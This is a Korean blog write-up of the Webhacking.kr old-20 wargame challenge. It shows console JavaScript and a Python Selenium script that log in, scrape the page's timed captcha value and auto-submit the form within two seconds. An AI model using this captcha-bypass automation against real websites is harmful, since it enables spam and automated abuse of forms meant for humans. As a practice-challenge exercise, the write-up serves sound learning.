💭 Minji's Archive

[Webhacking.kr] old-20 자동 공격 스크립트

October 27, 2025

문제 자체는 굉장히 단순하다. 닉네임에 무작위, 코멘트에 무작위 값을 넣고, 캡챠 값만 html에서 따와서 복붙해서 이 모든 걸 2초 안에 제출하면 된다.

<form name="lv5frm" method="post">
  <input type="text" name="id" size="10" maxlength="10">
  <input type="text" name="cmt" size="50" maxlength="50">
  <input type="text" name="captcha">
  <input type="button" name="captcha_" value="8FwrScVKar" style="border:0;background:lightgreen;">
  <input type="button" value="Submit" onclick="ck()">
  <input type="reset" value="reset">
</form>

구조는 이와 같다.

1단계: JS 콘솔 접근

사실 처음에 혼자서 문제를 풀 때는 그냥 JS 스크립트를 작성해서, 페이지가 로드되자마자 개발자도구 콘솔에 2초 안에 복붙하는 피지컬(?)을 활용했다.

function autoSubmitWithCaptcha() {
    console.log("자동 제출 시작...");
    
    try {
        // 1. 캡챠값 읽기 (name="captcha_"인 버튼의 value)
        const captchaButton = document.querySelector('input[name="captcha_"]');
        
        if (!captchaButton) {
            console.error("캡챠 버튼을 찾을 수 없습니다!");
            return false;
        }
        
        const captchaValue = captchaButton.value;
        console.log("캡챠 값:", captchaValue);
        
        // 2. 폼 필드들에 값 입력
        const idInput = document.querySelector('input[name="id"]');
        const cmtInput = document.querySelector('input[name="cmt"]');
        const captchaInput = document.querySelector('input[name="captcha"]');
        
        if (idInput && cmtInput && captchaInput) {
            idInput.value = 'webhacking';
            cmtInput.value = 'hahahahahahaha';
            captchaInput.value = captchaValue;
            
            console.log("모든 필드 입력 완료");
            console.log(`- ID: ${idInput.value}`);
            console.log(`- Comment: ${cmtInput.value}`);
            console.log(`- Captcha: ${captchaInput.value}`);
        } else {
            console.error("일부 입력 필드를 찾을 수 없습니다!");
            return false;
        }
        
        // 3. Submit 버튼 클릭 (onclick="ck()" 함수 실행)
        const submitBtn = document.querySelector('input[value="Submit"][onclick="ck()"]');
        
        if (submitBtn) {
            console.log("Submit 버튼 클릭!");
            submitBtn.click();
            return true;
        } else {
            console.error("Submit 버튼을 찾을 수 없습니다!");
            
            // ck() 함수 직접 호출 시도
            if (typeof ck === 'function') {
                console.log("ck() 함수 직접 호출");
                ck();
                return true;
            }
            
            return false;
        }
        
    } catch (error) {
        console.error("오류 발생:", error);
        return false;
    }
}

// 실행
autoSubmitWithCaptcha();

이 코드를 페이지가 켜진 2초 안에 붙여넣기하면 해결이 된다. 하지만 이렇게 저능한(?) 방법으로 푸는 게 맞나 싶어서 파이썬 셀레니움으로 풀어 보았다.

2단계: Python Selenium 도입

from selenium import webdriver
from selenium.webdriver.common.by import By
import time

def fast_submit():
    driver = webdriver.Chrome()
    
    try:
        driver.get('https://webhacking.kr/challenge/code-4/')
        
        # 캡챠값 읽기
        captcha_button = driver.find_element(By.CSS_SELECTOR, 'input[name="captcha_"][type="button"]')
        captcha_value = captcha_button.get_attribute('value')
        
        # 폼 입력
        driver.find_element(By.NAME, 'id').send_keys('webhacking')
        driver.find_element(By.NAME, 'cmt').send_keys('hahahahahahaha')
        driver.find_element(By.NAME, 'captcha').send_keys(captcha_value)
        
        # 제출
        driver.find_element(By.CSS_SELECTOR, 'input[value="Submit"]').click()
        
    except Exception as e:
        print(f"에러: {e}")
    finally:
        driver.quit()

이렇게 실행하자 webhacking.kr에 로그인이 필요하다는 알림이 뜨는 것을 확인할 수 있었다.

3단계: 로그인 문제 해결

사실 여기에서 가장 오래 걸림…

def login_and_solve():
    driver = webdriver.Chrome()
    
    try:
        # 로그인 페이지로 이동
        driver.get('https://webhacking.kr/login.php')
        
        username = input("아이디: ")
        password = input("비밀번호: ")
        
        driver.find_element(By.NAME, 'id').send_keys(username)
        driver.find_element(By.NAME, 'pw').send_keys(password)
        driver.find_element(By.CSS_SELECTOR, 'input[type="submit"]').click()
        
        # 문제 페이지로 이동
        driver.get('https://webhacking.kr/challenge/code-4/')
        # ... 문제 해결 코드

처음에 이렇게 vscode 터미널에서 id, pw를 입력하는 방식을 사용할려고 했는데

NoSuchElementException: Unable to locate element: {"method":"css selector","selector":"[name="id"]"}

요런 오류가 뜨면서 입력이 되지 않았다. 페이지가 로딩되기 전에 요소를 찾으려고 해서 발생하는 오류라고 한다. 그래서 WebDriverWait을 추가했다.

from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC

# 요소가 나타날 때까지 대기
id_field = WebDriverWait(driver, 10).until(
    EC.presence_of_element_located((By.NAME, "id"))
)

근데 또 TensorFlow 뭐라뭐라 하면서 콘솔 입력이 제대로 안 됨… 그래서 그냥 id/pw를 하드코딩으로 박아버렸다…;; 이번엔 진짜 될 줄 알았는데, 로그인이 /login.php가 아니라 Bootstrap 모달에서 진행되고 있었다. 내가 이렇게 기초적인 걸 확인을 안 했다니… 여기서 진짜 깊은 빡침…

<a class="btn btn-danger" href="#" data-bs-toggle="modal" data-bs-target="#loginModal">Login</a>

<div class="modal-dialog">
    <div class="modal-content">
        <form onsubmit="loginChk(); return false;" action="/login.php?login" method="POST">
            <!-- 로그인 폼 -->
        </form>
    </div>
</div>

이런 구조로 되어 있어서

def bootstrap_modal_login():
    driver = webdriver.Chrome()
    
    try:
        # 메인 페이지 접속
        driver.get('https://webhacking.kr/')
        
        # 로그인 버튼 클릭 (모달 열기)
        login_button = WebDriverWait(driver, 10).until(
            EC.element_to_be_clickable((By.CSS_SELECTOR, 'a[data-bs-target="#loginModal"]'))
        )
        login_button.click()
        
        # 모달 내 폼 입력
        id_field = WebDriverWait(driver, 10).until(
            EC.presence_of_element_located((By.CSS_SELECTOR, '#loginModal input[name="id"]'))
        )
        
        id_field.send_keys(USERNAME)
        driver.find_element(By.CSS_SELECTOR, '#loginModal input[name="pw"]').send_keys(PASSWORD)
        driver.find_element(By.CSS_SELECTOR, '#loginModal input[type="submit"]').click()

요렇게 구조를 바꿨다. 드디어 로그인은 성공…

4단계: 캡챠 값 변경 문제

여기서 또 문제 발생. 캡챠값을 읽는 순간 값이 바뀌었다.

로그인 성공! 문제 해결 시작… Captcha: 0bay4ye45A # 이 값을 읽는 순간 제출 완료! 결과 확인 중… 실패 # 페이지의 캡챠가 이미 바뀐 상태

여기서 캡챠 버튼에 접근하는 순간 JS 이벤트가 발생해서 새로운 값이 생성되었다. 그래서 또 이 부분은 JS로 바로 복사하도록 수정했다.

def copy_captcha_directly():
    # JavaScript로 캡챠값을 바로 복사해서 입력
    result = driver.execute_script("""
        // 캡챠값 읽고 바로 복사
        var captchaButton = document.querySelector('input[name="captcha_"][type="button"]');
        var captchaInput = document.querySelector('input[name="captcha"]');
        var captchaValue = captchaButton.value;
        
        // 모든 필드 한번에 입력
        document.getElementsByName('id')[0].value = 'webhacking';
        document.getElementsByName('cmt')[0].value = 'hahahahahahaha';
        captchaInput.value = captchaValue;
        
        return captchaValue;
    """)
    
    # 즉시 제출
    driver.find_element(By.CSS_SELECTOR, 'input[value="Submit"]').click()

5단계. 최종 완성 코드

from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
import time

def webhacking_old20_solver():
    """WebHacking.kr old-20 자동 해결"""
    
    USERNAME = "your_username"
    PASSWORD = "your_password"
    
    driver = webdriver.Chrome()
    
    try:
        print("=== WebHacking.kr old-20 자동 공격 ===")
        
        # 1. 로그인
        driver.get('https://webhacking.kr/')
        time.sleep(2)
        
        # Bootstrap 모달 열기
        driver.find_element(By.CSS_SELECTOR, 'a[data-bs-target="#loginModal"]').click()
        time.sleep(1)
        
        # 로그인 정보 입력
        driver.find_element(By.CSS_SELECTOR, '#loginModal input[name="id"]').send_keys(USERNAME)
        driver.find_element(By.CSS_SELECTOR, '#loginModal input[name="pw"]').send_keys(PASSWORD)
        driver.find_element(By.CSS_SELECTOR, '#loginModal input[type="submit"]').click()
        time.sleep(3)
        
        # 2. 문제 페이지로 이동
        driver.get('https://webhacking.kr/challenge/code-4/')
        time.sleep(2)
        
        # 3. JavaScript로 초고속 처리
        driver.execute_script("""
            // 캡챠값 즉시 복사 및 모든 필드 입력
            var captchaValue = document.querySelector('input[name="captcha_"][type="button"]').value;
            document.getElementsByName('id')[0].value = 'webhacking';
            document.getElementsByName('cmt')[0].value = 'hahahahahahaha';
            document.getElementsByName('captcha')[0].value = captchaValue;
            
            // 즉시 제출
            document.querySelector('input[value="Submit"]').click();
        """)
        
        print("제출 완료! 결과 확인 중...")
        
        # 4. 결과 확인
        try:
            alert = WebDriverWait(driver, 10).until(EC.alert_is_present())
            result = alert.text
            print(f"결과: {result}")
            
            if "pwned" in result.lower():
                print("성공!")
                return True
            
            alert.accept()
            
        except:
            print("결과 팝업 확인 실패")
            return False
        
    except Exception as e:
        print(f"오류: {e}")
        return False
    finally:
        time.sleep(3)
        driver.quit()

if __name__ == "__main__":
    success = webhacking_old20_solver()
    print(f"최종 결과: {'SUCCESS! ' if success else 'FAILED '}")

배운 점들

  1. 동적 웹 요소 처리의 복잡성
    • 단순해 보이는 폼이라도 JS 이벤트 등 복잡한 로직이 숨어있을 수 있다는 점
    • 요소에 접근하는 것만으로도 값이 변경될 수 있다는 점
  2. Selenium의 장단점
    • 장점: 실제 브라우저 동작 완벽 묘사, js 실행 가능
    • 단점: 속도 이슈, 리소스 사용량, 디버깅의 어려움
  3. 문제 해결 순서의 중요성
    • 로그인 -> 페이지 로딩 대기 -> 요소 접근 -> 값 처리 -> 제출 -> 결과 확인 각 단계마다 예상치 못한 문제들이 발생할 수 있다.
    • 각 단계가 완료될 때마다 디버깅을 하면서 단계적으로 문제를 해결해야 한다.
  4. JS + Selenium 조합의 강력함
    • Python의 제어 흐름 + JS의 DOM 직접 조작으로 웹 인터랙션을 우회할 수 있다.